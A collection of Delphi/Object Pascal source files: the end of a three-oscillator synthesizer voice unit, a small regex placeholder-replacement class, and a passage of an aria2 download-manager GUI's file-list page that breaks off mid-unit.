_lfo1 := KSynThesis_Lfo.create;
_lfo2 := KSynThesis_Lfo.create;
_lfo3 := KSynThesis_Lfo.create;
_lfo4 := KSynThesis_Lfo.create;
{ ----- master ----- }
avg_count := 0;
avg_value := 0;
end;
//----------
destructor KSynThesis_Voice.destroy;
begin
{ ----- 1 ----- }
_phase1.destroy;
_pshape1.destroy;
_wave1.destroy;
_wshape1.destroy;
_filter1.destroy;
{ ----- 2 ----- }
_phase2.destroy;
_pshape2.destroy;
_wave2.destroy;
_wshape2.destroy;
_filter2.destroy;
{ ----- 3 ----- }
_phase3.destroy;
_pshape3.destroy;
_wave3.destroy;
_wshape3.destroy;
_filter3.destroy;
{ ----- envelopes ----- }
_env1.destroy;
_env2.destroy;
_env3.destroy;
_env4.destroy;
{ ----- lfo ----- }
_lfo1.destroy;
_lfo2.destroy;
_lfo3.destroy;
_lfo4.destroy;
inherited;
end;
//----------------------------------------
//
//----------------------------------------
function KSynThesis_Voice.getBufferSize1 : LongInt;
begin
result := phase_size1;
end;
//----------
function KSynThesis_Voice.getBuffer1 : PSingle;
begin
result := @phase_buffer1;
end;
//----------
function KSynThesis_Voice.getBufferSize2 : LongInt;
begin
result := phase_size2;
end;
//----------
function KSynThesis_Voice.getBuffer2 : PSingle;
begin
result := @phase_buffer2;
end;
//----------
function KSynThesis_Voice.getBufferSize3 : LongInt;
begin
result := phase_size3;
end;
//----------
function KSynThesis_Voice.getBuffer3 : PSingle;
begin
result := @phase_buffer3;
end;
//----------------------------------------
//
//----------------------------------------
procedure KSynThesis_Voice.on_setSampleRate(ARate: Single);
begin
_phase1.setSampleRate(ARate);
_phase2.setSampleRate(ARate);
_phase3.setSampleRate(ARate);
_lfo1.setSampleRate(ARate);
_lfo2.setSampleRate(ARate);
_lfo3.setSampleRate(ARate);
_lfo4.setSampleRate(ARate);
end;
//----------
procedure KSynThesis_Voice.on_noteOn(ANote,AVel:Single);
//var
// av1 : single;
begin
FState := kvs_playing;// voice_state_playing;
{ ----- 1 ----- }
midi_note1 := ANote;
midi_vel1 := Single(AVel) * KODE_INV127;
pitch1 := calcPitch1(0);
hz1 := calcHz(pitch1+midi_pb1);
_phase1.setHz( hz1 );
{ ----- 2 ----- }
midi_note2 := ANote;
midi_vel2 := Single(AVel) * KODE_INV127;
pitch2 := calcPitch2(0);
hz2 := calcHz(pitch2+midi_pb2);
_phase2.setHz( hz2 );
{ ----- 3 ----- }
midi_note3 := ANote;
midi_vel3 := Single(AVel) * KODE_INV127;
pitch3 := calcPitch3(0);
hz3 := calcHz(pitch3+midi_pb3);
_phase3.setHz( hz3 );
{ ----- envelopes ----- }
_env1.noteOn(ANote,midi_vel1);
_env2.noteOn(ANote,midi_vel1);
_env3.noteOn(ANote,midi_vel1);
_env4.noteOn(ANote,midi_vel1);
{ ----- lfo ----- }
_lfo1.noteOn(ANote,midi_vel1);
_lfo2.noteOn(ANote,midi_vel1);
_lfo3.noteOn(ANote,midi_vel1);
_lfo4.noteOn(ANote,midi_vel1);
{ }
avg_count := 0;
avg_value := 0;
end;
//----------
procedure KSynThesis_Voice.on_noteOff(ANote,AVel:Single);
var
v : Single;
begin
FState := kvs_released;// voice_state_released;
v := 0;
{ ----- 1 ----- }
midi_note1 := ANote;
//midi_vel1 := v;
{ ----- 2 ----- }
midi_note2 := ANote;
//midi_vel2 := v;
{ ----- 3 ----- }
midi_note3 := ANote;
//midi_vel3 := v;
{ ----- envelopes ----- }
_env1.noteOff(ANote,v);
_env2.noteOff(ANote,v);
_env3.noteOff(ANote,v);
_env4.noteOff(ANote,v);
{ ----- lfo ----- }
_lfo1.noteOff(ANote,v);
_lfo2.noteOff(ANote,v);
_lfo3.noteOff(ANote,v);
_lfo4.noteOff(ANote,v);
end;
//----------
procedure KSynThesis_Voice.on_pitchBend(ABend:Single);
begin
{ ----- 1 ----- }
midi_pb1 := ABend;
hz1 := calcHz(pitch1+midi_pb1);
_phase1.setHz(hz1);
{ ----- 2 ----- }
midi_pb2 := ABend;
hz2 := calcHz(pitch2+midi_pb2);
_phase2.setHz(hz2);
{ ----- 3 ----- }
midi_pb3 := ABend;
hz3 := calcHz(pitch3+midi_pb3);
_phase3.setHz(hz3);
// lfo?
end;
//----------
{
if we had internal values as an array, we could just write it,
and eventually do special processing if neede ???
}
procedure KSynThesis_Voice.on_control(AIndex:LongInt; AValue:Single; AGroup:LongInt=-1; ASubGroup:LongInt=-1);
var
v,av : single;
begin
av := AValue*AValue*AValue;
v := AValue;
v := v*v*v;
v := 1 / (1 + (v*100000)); // 65536
//pvalues[AIndex] := AValue;;
case AIndex of
{ ----- 1 ----- }
// pitch
par_pitch_oct1:
begin
p_pitch_oct1 := trunc(AValue);
setPitch1;
end;
par_pitch_semi1:
begin
p_pitch_semi1 := trunc(AValue);
setPitch1;
end;
par_pitch_cent1:
begin
p_pitch_cent1 := trunc(AValue);
setPitch1;
end;
par_pitch_modsrc1:
begin
p_pitch_modsrc1 := trunc(AValue);
end;
par_pitch_modamt1:
begin
p_pitch_modamt1 := AValue;
end;
par_pitch_modscale1:
begin
p_pitch_modscale1 := AValue;
end;
// phase shaper
par_pshape_type1:
begin
p_pshape_type1 := trunc(AValue);
_pshape1.setType(trunc(AValue));
end;
par_pshape_amt1:
begin
p_pshape_amt1 := AValue;
end;
par_pshape_modsrc1:
begin
p_pshape_modsrc1 := trunc(AValue);
end;
par_pshape_modamt1:
begin
p_pshape_modamt1 := AValue;
end;
// wave type
par_wave_type1:
begin
p_wave_type1 := trunc(AValue);
_wave1.setType(trunc(AValue));
end;
// wave shaper
par_wshape_type1:
begin
p_wshape_type1 := trunc(AValue);
_wshape1.setType(trunc(AValue));
end;
par_wshape_amt1:
begin
p_wshape_amt1 := AValue;
end;
par_wshape_modsrc1:
begin
p_wshape_modsrc1 := trunc(AValue);
end;
par_wshape_modamt1:
begin
p_wshape_modamt1 := AValue;
end;
// filter
par_filter_type1:
begin
p_filter_type1 := trunc(AValue);
_filter1.setType(trunc(AValue));
end;
par_filter_freq1:
begin
p_filter_freq1 := av;
end;
par_filter_bw1:
begin
p_filter_bw1 := AValue;
//_filter1.setBW(AValue);
end;
par_filter_modsrc1:
begin
p_filter_modsrc1 := trunc(AValue);
end;
par_filter_modamt1:
begin
p_filter_modamt1 := AValue;
end;
// volume
par_vol_level1:
begin
p_vol_levell := av;
end;
par_vol_modsrc1:
begin
p_vol_modsrc1 := trunc(AValue);
end;
par_vol_modamt1:
begin
p_vol_modamt1 := AValue;
end;
{ ----- 2 ----- }
// - pitch
par_pitch_oct2:
begin
p_pitch_oct2 := trunc(AValue);
setPitch2;
end;
par_pitch_semi2:
begin
p_pitch_semi2 := trunc(AValue);
setPitch2;
end;
par_pitch_cent2:
begin
p_pitch_cent2 := trunc(AValue);
setPitch2;
end;
par_pitch_modsrc2:
begin
p_pitch_modsrc2 := trunc(AValue);
end;
par_pitch_modamt2:
begin
p_pitch_modamt2 := AValue;
end;
par_pitch_modscale2:
begin
p_pitch_modscale2 := AValue;
end;
// phase shaper
par_pshape_type2:
begin
p_pshape_type2 := trunc(AValue);
_pshape2.setType(trunc(AValue));
end;
par_pshape_amt2:
begin
p_pshape_amt2 := AValue;
end;
par_pshape_modsrc2:
begin
p_pshape_modsrc2 := trunc(AValue);
end;
par_pshape_modamt2:
begin
p_pshape_modamt2 := AValue;
end;
// wave type
par_wave_type2:
begin
p_wave_type2 := trunc(AValue);
_wave2.setType(trunc(AValue));
end;
// wave shaper
par_wshape_type2:
begin
p_wshape_type2 := trunc(AValue);
_wshape2.setType(trunc(AValue));
end;
par_wshape_amt2:
begin
p_wshape_amt2 := AValue;
end;
par_wshape_modsrc2:
begin
p_wshape_modsrc2 := trunc(AValue);
end;
par_wshape_modamt2:
begin
p_wshape_modamt2 := AValue;
end;
// filter
par_filter_type2:
begin
p_filter_type2 := trunc(AValue);
_filter2.setType(trunc(AValue));
end;
par_filter_freq2:
begin
p_filter_freq2 := av;
end;
par_filter_bw2:
begin
p_filter_bw2 := AValue;
//_filter2.setBW(AValue);
end;
par_filter_modsrc2:
begin
p_filter_modsrc2 := trunc(AValue);
end;
par_filter_modamt2:
begin
p_filter_modamt2 := AValue;
end;
// volume
par_vol_level2:
begin
p_vol_level2 := av;
end;
par_vol_modsrc2:
begin
p_vol_modsrc2 := trunc(AValue);
end;
par_vol_modamt2:
begin
p_vol_modamt2 := AValue;
end;
{ ----- 3 ----- }
// - pitch
par_pitch_oct3:
begin
p_pitch_oct3 := trunc(AValue);
setPitch3;
end;
par_pitch_semi3:
begin
p_pitch_semi3 := trunc(AValue);
setPitch3;
end;
par_pitch_cent3:
begin
p_pitch_cent3 := trunc(AValue);
setPitch3;
end;
par_pitch_modsrc3:
begin
p_pitch_modsrc3 := trunc(AValue);
end;
par_pitch_modamt3:
begin
p_pitch_modamt3 := AValue;
end;
par_pitch_modscale3:
begin
p_pitch_modscale3 := AValue;
end;
// phase shaper
par_pshape_type3:
begin
p_pshape_type3 := trunc(AValue);
_pshape3.setType(trunc(AValue));
end;
par_pshape_amt3:
begin
p_pshape_amt3 := AValue;
end;
par_pshape_modsrc3:
begin
p_pshape_modsrc3 := trunc(AValue);
end;
par_pshape_modamt3:
begin
p_pshape_modamt3 := AValue;
end;
// wave type
par_wave_type3:
begin
p_wave_type3 := trunc(AValue);
_wave3.setType(trunc(AValue));
end;
// wave shaper
par_wshape_type3:
begin
p_wshape_type3 := trunc(AValue);
_wshape3.setType(trunc(AValue));
end;
par_wshape_amt3:
begin
p_wshape_amt3 := AValue;
end;
par_wshape_modsrc3:
begin
p_wshape_modsrc3 := trunc(AValue);
end;
par_wshape_modamt3:
begin
p_wshape_modamt3 := AValue;
end;
// filter
par_filter_type3:
begin
p_filter_type3 := trunc(AValue);
_filter3.setType(trunc(AValue));
end;
par_filter_freq3:
begin
p_filter_freq3 := av;
end;
par_filter_bw3:
begin
p_filter_bw3 := AValue;
//_filter3.setBW(AValue);
end;
par_filter_modsrc3:
begin
p_filter_modsrc3 := trunc(AValue);
end;
par_filter_modamt3:
begin
p_filter_modamt3 := AValue;
end;
// volume
par_vol_level3:
begin
p_vol_level3 := av;
end;
par_vol_modsrc3:
begin
p_vol_modsrc3 := trunc(AValue);
end;
par_vol_modamt3:
begin
p_vol_modamt3 := AValue;
end;
{ ----- envelopes ----- }
par_env_att1:
begin
p_env_att1 := v;
_env1.setAttack(v);
end;
par_env_dec1:
begin
p_env_dec1 := v;
_env1.setDecay(v);
end;
par_env_sus1:
begin
p_env_sus1 := av;
_env1.setSustain(av);
//_env1.setValue(av);
end;
par_env_rel1:
begin
p_env_rel1 := v;
_env1.setRelease(v);
end;
par_env_att2:
begin
p_env_att2 := v;
_env2.setAttack(v);
end;
par_env_dec2:
begin
p_env_dec2 := v;
_env2.setDecay(v);
end;
par_env_sus2:
begin
p_env_sus2 := av;
_env2.setSustain(av);
//_env2.setValue(av);
end;
par_env_rel2:
begin
p_env_rel2 := v;
_env2.setRelease(v);
end;
par_env_att3:
begin
p_env_att3 := v;
_env3.setAttack(v);
end;
par_env_dec3:
begin
p_env_dec3 := v;
_env3.setDecay(v);
end;
par_env_sus3:
begin
p_env_sus3 := av;
_env3.setSustain(av);
//_env3.setValue(av);
end;
par_env_rel3:
begin
p_env_rel3 := v;
_env3.setRelease(v);
end;
par_env_att4:
begin
p_env_att4 := v;
_env4.setAttack(v);
end;
par_env_dec4:
begin
p_env_dec4 := v;
_env4.setDecay(v);
end;
par_env_sus4:
begin
p_env_sus4 := av;
_env4.setSustain(av);
//_env4.setValue(av);
end;
par_env_rel4:
begin
p_env_rel4 := v;
_env4.setRelease(v);
end;
{ ----- lfo ----- }
par_lfo_type1:
begin
p_lfo_type1 := trunc(AValue);
_lfo1.setType(trunc(AValue));
end;
par_lfo_speed1:
begin
p_lfo_speed1 := AValue;
_lfo1.setSpeed(AValue);
end;
par_lfo_type2:
begin
p_lfo_type2 := trunc(AValue);
_lfo2.setType(trunc(AValue));
end;
par_lfo_speed2:
begin
p_lfo_speed2 := AValue;
_lfo2.setSpeed(AValue);
end;
par_lfo_type3:
begin
p_lfo_type3 := trunc(AValue);
_lfo3.setType(trunc(AValue));
end;
par_lfo_speed3:
begin
p_lfo_speed3 := AValue;
_lfo3.setSpeed(AValue);
end;
par_lfo_type4:
begin
p_lfo_type4 := trunc(AValue);
_lfo4.setType(trunc(AValue));
end;
par_lfo_speed4:
begin
p_lfo_speed4 := AValue;
_lfo4.setSpeed(AValue);
end;
{ ----- mix ----- }
par_mix12:
begin
p_mix12 := AValue;
end;
par_mix23:
begin
p_mix23 := AValue;
end;
{ }
end;
end;
//----------
//----------
procedure KSynThesis_Voice.on_process(outs: PSingle);
var
m : single;
p : single;
w : single;
o : single;
i : Single;
vm : KSynThesis_VoiceManager;
pl : myPlugin;
begin
vm := KSynThesis_VoiceManager(FVoiceManager);
pl := myPlugin( vm.getPlugin );
i := pl.input;
o := 0;
{ ----- envelopes ----- }
_env1.process;
_env2.process;
_env3.process;
_env4.process;
{ ----- envelopes ----- }
_lfo1.process;
_lfo2.process;
_lfo3.process;
_lfo4.process;
// todo: lfo's
{ ----- 1 ----- }
// phase
m := getMod(p_pitch_modsrc1,(p_pitch_modamt1*p_pitch_modscale1));
ph1 := _phase1.processAddMul(m{*m*m});
// phase shape
m := p_pshape_amt1 + getMod(p_pshape_modsrc1,p_pshape_modamt1);
p := getModSrc1{(p_pshape_type1)};
ph1 := _pshape1.process(ph1,p,m);
if _phase3.getWrapped and (p_pshape_type1 = pshape_type_sync) then _phase1.setPhase( p*m );
prev_ph1 := ph1;
// wave
wav1 := _wave1.process(ph1,i);
// wave shape
m := p_wshape_amt1 + getMod(p_wshape_modsrc1,p_wshape_modamt1);
w := getModSrc1{(p_wshape_type1)};
wav1 := _wshape1.process(wav1,w,m);
// filter
m := p_filter_freq1 + getMod(p_filter_modsrc1,p_filter_modamt1);
wav1 := _filter1.process(wav1,m);
// volume
m := getMod(p_vol_modsrc1,p_vol_levell);
wav1 *= m;
prev_wav1 := wav1;
{ buffer }
if _phase1.getWrapped then
begin
phase_size1 := phase_count1;
phase_count1 := 0;
end;
if phase_count1 < 65536 then phase_buffer1[ phase_count1 ] := wav1;
phase_count1 += 1;
{ ----- 2 ----- }
// phase
m := getMod(p_pitch_modsrc2,p_pitch_modamt2*p_pitch_modscale2);
ph2 := _phase2.processAddMul(m{*m*m});
phase_wrap2 := _phase2.getWrapped;
// phase shape
m := p_pshape_amt2 + getMod(p_pshape_modsrc2,p_pshape_modamt2);
p := getModSrc2{(p_pshape_type2)};
ph2 := _pshape2.process(ph2,p,m);
if _phase1.getWrapped and (p_pshape_type2 = pshape_type_sync) then _phase2.setPhase( p*m );
prev_ph2 := ph2;
// wave
wav2 := _wave2.process(ph2,i);
// wave shape
m := p_wshape_amt2 + getMod(p_wshape_modsrc2,p_wshape_modamt2);
w := getModSrc2{(p_wshape_type2)};
wav2 := _wshape2.process(wav2,w,m);
// filter
m := p_filter_freq2 + getMod(p_filter_modsrc2,p_filter_modamt2);
wav2 := _filter2.process(wav2,m{,p_filter_bw2});
// volume
m := getMod(p_vol_modsrc2,p_vol_level2);
wav2 *= m;
prev_wav2 := wav2;
{ buffer }
if _phase2.getWrapped then
begin
phase_size2 := phase_count2;
phase_count2 := 0;
end;
if phase_count2 < 65536 then phase_buffer2[ phase_count2 ] := wav2;
phase_count2 += 1;
{ ----- 3 ----- }
// phase
m := getMod(p_pitch_modsrc3,p_pitch_modamt3*p_pitch_modscale3);
ph3 := _phase3.processAddMul(m{*m*m});
phase_wrap3 := _phase3.getWrapped;
// phase shape
m := p_pshape_amt3 + getMod(p_pshape_modsrc3,p_pshape_modamt3);
p := getModSrc3{(p_pshape_type3)};
ph3 := _pshape3.process(ph3,p,m);
if _phase2.getWrapped and (p_pshape_type3 = pshape_type_sync) then _phase3.setPhase( p*m );
prev_ph3 := ph3;
// wave
wav3 := _wave3.process(ph3,i);
// wave shape
m := p_wshape_amt3 + getMod(p_wshape_modsrc3,p_wshape_modamt3);
w := getModSrc3{(p_wshape_type3)};
wav3 := _wshape3.process(wav3,w,m);
// filter
m := p_filter_freq3 + getMod(p_filter_modsrc3,p_filter_modamt3);
wav3 := _filter3.process(wav3,m{,p_filter_bw3});
// volume
m := getMod(p_vol_modsrc3,p_vol_level3);
wav3 *= m;
prev_wav3 := wav3;
{ buffer }
if _phase3.getWrapped then
begin
phase_size3 := phase_count3;
phase_count3 := 0;
end;
if phase_count3 < 65536 then phase_buffer3[ phase_count3 ] := wav3;
phase_count3 += 1;
{ ----- master ----- }
wav1 *= midi_vel1;
wav2 *= midi_vel2;
wav3 *= midi_vel3;
o := KLinearInterpolate(wav1,wav2,p_mix12);
o := KLinearInterpolate(o,wav3,p_mix23);
{ ----- shut off silent voices ----- }
{
todo: if master volume envelope is finished, set FState = voice_state_off
otherwise, voices will be left in 'sustain' stage, and never
be shut off.. wasting cpu..
for each sample
squaresum = squaresum * 0.999 + sample * sample
rms = sqrt(squaresum)
}
if FState = kvs_released {voice_state_released} then
begin
if avg_count < KODE_AVG_SIZE then
begin
avg_value += (o*o); // avg_value := (avg_value * 0.999) + (o*o);
avg_count += 1;
end
else
begin
//if sqrt(avg_value) < 0.01 {KODE_TINY} then FState := voice_state_off;
if avg_value < KODE_AVG_THRESHOLD then FState := kvs_off;// voice_state_off;
avg_value := 0;
avg_count := 0;
end;
end;
{ ----- clip & output ----- }
// hard-clip..
o := KClamp(o,-3,3);
outs[0] := o;
outs[1] := o;
end;
//----------------------------------------
//
//----------------------------------------
function KSynThesis_Voice.calcPitch1(AMod:Single) : Single;
//var
// p : single;
begin
result := midi_note1 - 69.0 + AMod + {midi_pb1 +} (p_pitch_oct1*12) + p_pitch_semi1 + (p_pitch_cent1*KODE_INV50);
end;
//----------
function KSynThesis_Voice.calcPitch2(AMod:Single) : Single;
//var
// p : single;
begin
result := midi_note2 - 69.0 + AMod + {midi_pb2 +} (p_pitch_oct2*12) + p_pitch_semi2 + (p_pitch_cent2*KODE_INV50);
end;
//----------
function KSynThesis_Voice.calcPitch3(AMod:Single) : Single;
//var
// p : single;
begin
result := midi_note3 - 69.0 + AMod + {midi_pb3 +} (p_pitch_oct3*12) + p_pitch_semi3 + (p_pitch_cent3*KODE_INV50);
end;
//----------
function KSynThesis_Voice.calcHz(APitch:Single) : Single;
begin
result := 440 * power(2.0,APitch*KODE_INV12);
end;
//----------
procedure KSynThesis_Voice.setPitch1;
var
hz : single;
begin
pitch1 := midi_note1 - 69.0 + (p_pitch_oct1*12) + p_pitch_semi1 + (p_pitch_cent1*KODE_INV50);
hz := 440 * power(2.0,(pitch1+midi_pb1)*KODE_INV12);
_phase1.setHz(hz);
end;
//----------
procedure KSynThesis_Voice.setPitch2;
var
hz : single;
begin
pitch2 := midi_note2 - 69.0 + (p_pitch_oct2*12) + p_pitch_semi2 + (p_pitch_cent2*KODE_INV50);
hz := 440 * power(2.0,(pitch2+midi_pb2)*KODE_INV12);
_phase2.setHz(hz);
end;
//----------
procedure KSynThesis_Voice.setPitch3;
var
hz : single;
begin
pitch3 := midi_note3 - 69.0 + (p_pitch_oct3*12) + p_pitch_semi3 + (p_pitch_cent3*KODE_INV50);
hz := 440 * power(2.0,(pitch3+midi_pb3)*KODE_INV12);
_phase3.setHz(hz);
end;
//----------
function KSynThesis_Voice.getModValue(src:LongInt) : Single;
begin
case src of
mod_src_off: result := 0;
mod_src_const: result := 1;
mod_src_input: result := 0;
mod_src_env1: result := _env1.getValue;
mod_src_env2: result := _env2.getValue;
mod_src_env3: result := _env3.getValue;
mod_src_env4: result := _env4.getValue;
mod_src_lfo1: result := _lfo1.getValue;
mod_src_lfo2: result := _lfo2.getValue;
mod_src_lfo3: result := _lfo3.getValue;
mod_src_lfo4: result := _lfo4.getValue;
mod_src_wav1: result := prev_wav1;
mod_src_wav2: result := prev_wav2;
mod_src_wav3: result := prev_wav3;
mod_src_ph1: result := prev_ph1;
mod_src_ph2: result := prev_ph2;
mod_src_ph3: result := prev_ph3;
mod_src_note: result := midi_note1 * KODE_INV127;
mod_src_vel: result := midi_vel1;
end;
end;
//----------
{
phase/wave shapers are modulated by the previous oscillator output,
except osc1 which is modulated by osc3, 1 sample delayed
}
function KSynThesis_Voice.getModSrc1{(src:LongInt)} : Single;
begin
result := prev_wav3;
end;
//----------
function KSynThesis_Voice.getModSrc2{(src:LongInt)} : Single;
begin
result := prev_wav1;
end;
//----------
function KSynThesis_Voice.getModSrc3{(src:LongInt)} : Single;
begin
result := prev_wav2;
end;
//----------
function KSynThesis_Voice.getMod(src:longint; val:single) : Single;
begin
result := getModValue(src) * val;
end;
//----------------------------------------------------------------------
end.
|
unit URegexReplaceProperties;
interface
uses
RegularExpressionsCore, UFastKeysSS;
type
TRegexReplaceProperties = class(TPerlRegEx)
protected
FProperties: TFastKeyValuesSS;
{$ifdef VER230}
procedure DoPerlRegExReplaceEvent(Sender: TObject; var ReplaceWith: UTF8String);
{$else}
procedure DoPerlRegExReplaceEvent(Sender: TObject; var ReplaceWith: string);
{$endif}
public
constructor Create(properties: TFastKeyValuesSS); virtual;
function ReplaceWithProperties(strText: string): string;
end;
implementation
uses
SysUtils;
{ TRegexReplaceProperties }
constructor TRegexReplaceProperties.Create(properties: TFastKeyValuesSS);
begin
inherited Create;
FProperties := properties;
Options := [preUnGreedy];
OnReplace := DoPerlRegExReplaceEvent;
end;
{$ifdef VER230}
procedure TRegexReplaceProperties.DoPerlRegExReplaceEvent(Sender: TObject;
var ReplaceWith: UTF8String);
{$else}
procedure TRegexReplaceProperties.DoPerlRegExReplaceEvent(Sender: TObject;
var ReplaceWith: string);
{$endif}
var
strKey: string;
index: integer;
begin
strKey := copy(MatchedText, 2, Length(MatchedText) -2);
if FProperties.FindKey(strKey, index) then begin
ReplaceWith := FProperties.ValueOfIndex[index];
end else begin
ReplaceWith := MatchedText;
end;
end;
function TRegexReplaceProperties.ReplaceWithProperties(strText: string): string;
begin
RegEx := '(%[^<>]+%)';
Subject := strText;
ReplaceAll;
Result := Subject;
end;
end.
|
unit PageFiles;
//TODO: hotkeys, sorting
//TODO: external saving of multiple index-out options?
//TODO: (optionally) display as tree?
interface
uses
Windows, Messages, CommCtrl, AvL, avlUtils, avlListViewEx, avlEventBus,
Utils, InfoPane, Aria2, UpdateThread;
type
TChangeSelection = (csAdd, csRemove, csInvert);
TPageFiles = class(TInfoPage)
private
FFilesColumns: TListColumns;
FDir: string;
FilesList: TListViewEx;
FilesMenu: TMenu;
procedure ChangeSelection(Action: TChangeSelection);
procedure Refresh;
procedure Resize(Sender: TObject);
procedure FilesDblClick(Sender: TObject);
procedure FilesKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
procedure LoadSettings(Sender: TObject; const Args: array of const);
procedure SaveSettings(Sender: TObject; const Args: array of const);
procedure WMCommand(var Msg: TWMCommand); message WM_COMMAND;
procedure WMContextMenu(var Msg: TWMContextMenu); message WM_CONTEXTMENU;
procedure WMNotify(var Msg: TWMNotify); message WM_NOTIFY;
protected
function GetName: string; override;
procedure SetGID(Value: TAria2GID); override;
public
constructor Create(Parent: TInfoPane); override;
destructor Destroy; override;
procedure Update(UpdateThread: TUpdateThread); override;
end;
const
SFilesColumns = 'FilesListColumns';
implementation
uses
MainForm;
type
TMenuID = (IDMenuFiles = 20000, IDRefresh, IDSelectAll, IDFilesSep0, IDOpen, IDOpenFolder, IDRename, IDFilesSep1, IDSelect, IDDeselect, IDInvertSelection);
const
DefFilesColumns: array[0..4] of TListColumn = (
(Caption: 'Name'; Width: 500; FType: ftPath; Field: sfPath),
(Caption: 'Index'; Width: 50; FType: ftString; Field: sfIndex),
(Caption: 'Size'; Width: 80; FType: ftSize; Field: sfLength),
(Caption: 'Progress'; Width: 60; FType: ftPercent; Field: sfCompletedLength + ':' + sfLength),
(Caption: 'Selected'; Width: 60; FType: ftString; Field: sfSelected));
MenuFiles: array[0..10] of PChar = ('20001',
'&Refresh'#9'F5',
'Select &all'#9'Ctrl-A',
'-',
'&Open'#9'Enter',
'Open &folder'#9'Shift-Enter',
'Re&name'#9'F2',
'-',
'&Select'#9'F7',
'&Deselect'#9'F8',
'&Invert selection');
{ TPageFiles }
constructor TPageFiles.Create(Parent: TInfoPane);
var
Images: TImageList;
begin
inherited;
SetArray(FUpdateKeys, [sfGID]);
FilesMenu := TMenu.Create(Self, false, MenuFiles);
FilesList := TListViewEx.Create(Self);
FilesList.SetPosition(0, 0);
FilesList.Style := FilesList.Style and not LVS_SINGLESEL or LVS_SHOWSELALWAYS or LVS_SORTASCENDING or LVS_EDITLABELS or LVS_NOSORTHEADER; //TODO: switches for sorting & etc
FilesList.ViewStyle := LVS_REPORT;
FilesList.OptionsEx := FilesList.OptionsEx or LVS_EX_FULLROWSELECT or LVS_EX_GRIDLINES or LVS_EX_INFOTIP;
Images := TImageList.Create;
Images.LoadSystemIcons(true);
FilesList.SmallImages := Images;
FilesList.OnDblClick := FilesDblClick;
FilesList.OnKeyDown := FilesKeyDown;
OnResize := Resize;
EventBus.AddListener(EvLoadSettings, LoadSettings);
EventBus.AddListener(EvSaveSettings, SaveSettings);
end;
destructor TPageFiles.Destroy;
begin
EventBus.RemoveListeners([LoadSettings, SaveSettings]);
Finalize(FFilesColumns);
FreeMenu(FilesMenu);
FilesList.SmallImages.Handle := 0;
FilesList.SmallImages.Free;
inherited;
end;
procedure TPageFiles.ChangeSelection(Action: TChangeSelection);
var
i, Start: Integer;
Selection: array of Boolean;
Files: TAria2Struct;
Option: TAria2Option;
begin
with (FParent.Parent as TMainForm).Aria2 do
Files := GetStruct(GetFiles(FGID));
try
SetLength(Selection, Files.Length['']);
try
for i := 0 to High(Selection) do
begin
Files.Index := i;
Selection[i] := Boolean(StrToEnum(Files[sfSelected], sfBoolValues));
end;
if Action in [csAdd, csRemove] then
for i := 0 to FilesList.SelCount - 1 do
Selection[Integer(FilesList.ItemObject[FilesList.Selected[i]])] := Action = csAdd
else
for i := 0 to High(Selection) do
Selection[i] := not Selection[i];
Option.Key := soSelectFile;
Start := -1;
for i := 0 to High(Selection) do
if Selection[i] and (Start < 0)then
Start := i
else if not Selection[i] and (Start >= 0) then
begin
if i = Start - 1 then
Option.Value := Option.Value + IntToStr(i) + ','
else
Option.Value := Option.Value + IntToStr(Start + 1) + '-' + IntToStr(i) + ',';
Start := -1;
end;
if Start >= 0 then
Option.Value := Option.Value + IntToStr(Start + 1) + '-' + IntToStr(Length(Selection)) + ',';
if Option.Value <> '' then
Delete(Option.Value, Length(Option.Value), 1);
with (FParent.Parent as TMainForm).Aria2 do
CheckResult(ChangeOptions(FGID, [Option]));
Refresh;
finally
Finalize(Selection);
end;
finally
FreeAndNil(Files);
end;
end;
procedure TPageFiles.Refresh;
begin
SetArray(FUpdateKeys, [sfGID, sfDir, sfFiles]);
end;
procedure TPageFiles.Resize(Sender: TObject);
begin
FilesList.SetSize(ClientWidth, ClientHeight);
end;
procedure TPageFiles.FilesDblClick(Sender: TObject);
begin
Perform(WM_COMMAND, MakeWParam(Ord(IDOpen), 0), 0);
end;
procedure TPageFiles.FilesKeyDown(Sender: TObject; var Key: Word; Shift: TShiftState);
begin
if Shift = [] then
case Key of
VK_F2: FilesList.Perform(LVM_EDITLABEL, FilesList.SelectedIndex, 0);
VK_F5: Refresh;
VK_F7: Perform(WM_COMMAND, MakeWParam(Ord(IDSelect), 0), 0);
VK_F8: Perform(WM_COMMAND, MakeWParam(Ord(IDDeselect), 0), 0);
VK_RETURN: Perform(WM_COMMAND, MakeWParam(Ord(IDOpen), 0), 0);
end;
if Shift = [ssShift] then
case Key of
VK_RETURN: Perform(WM_COMMAND, MakeWParam(Ord(IDOpenFolder), 0), 0);
end;
if Shift = [ssCtrl] then
case Key of
Ord('A'): FilesList.SelectAll;
end;
end;
procedure TPageFiles.WMCommand(var Msg: TWMCommand);
var
Dir: string;
begin
if (Msg.Ctl = 0) and (Msg.NotifyCode in [0, 1]) then
try
case TMenuID(Msg.ItemID) of
IDRefresh: Refresh;
IDSelectAll: FilesList.SelectAll;
IDOpen: if FileExists(AddTrailingBackslash(FDir) + FilesList.SelectedCaption) then
Execute(AddTrailingBackslash(FDir) + FilesList.SelectedCaption)
else
Exception.Create('File "' + FilesList.SelectedCaption + '" not found');
IDOpenFolder:
begin
Dir := ExtractFilePath(AddTrailingBackslash(FDir) + FilesList.SelectedCaption);
if DirectoryExists(Dir) then
Execute(Dir)
else
Exception.Create('Directory "' + Dir + '" not found');
end;
IDRename: FilesList.Perform(LVM_EDITLABEL, FilesList.SelectedIndex, 0);
IDSelect: ChangeSelection(csAdd);
IDDeselect: ChangeSelection(csRemove);
IDInvertSelection: ChangeSelection(csInvert);
end;
except
on E: Exception do ShowException;
end;
end;
procedure TPageFiles.WMContextMenu(var Msg: TWMContextMenu);
begin
if Assigned(FilesList) and (Msg.hWnd = FilesList.Handle) then
FilesMenu.Popup(Msg.XPos, Msg.YPos);
end;
procedure TPageFiles.WMNotify(var Msg: TWMNotify);
var
Option: TAria2Option;
begin
inherited;
if Assigned(FilesList) and (PNMHdr(Msg.NMHdr).hwndFrom = FilesList.Handle) then
if (Msg.NMHdr.code = LVN_ENDLABELEDIT) and Assigned(PLVDispInfo(Msg.NMHdr).item.pszText) then
begin //TODO: support for multiple index-out options (passed as array) and support for out option
Option.Key := soIndexOut;
with PLVDispInfo(Msg.NMHdr).item do
Option.Value := IntToStr(lParam + 1) + '=' + pszText;
with (FParent.Parent as TMainForm).Aria2 do
Msg.Result := Integer(LongBool(GetBool(ChangeOptions(FGID, [Option]))));
end;
end;
function TPageFiles.GetName: string;
begin
Result := 'Files';
end;
procedure TPageFiles.SetGID(Value: TAria2GID);
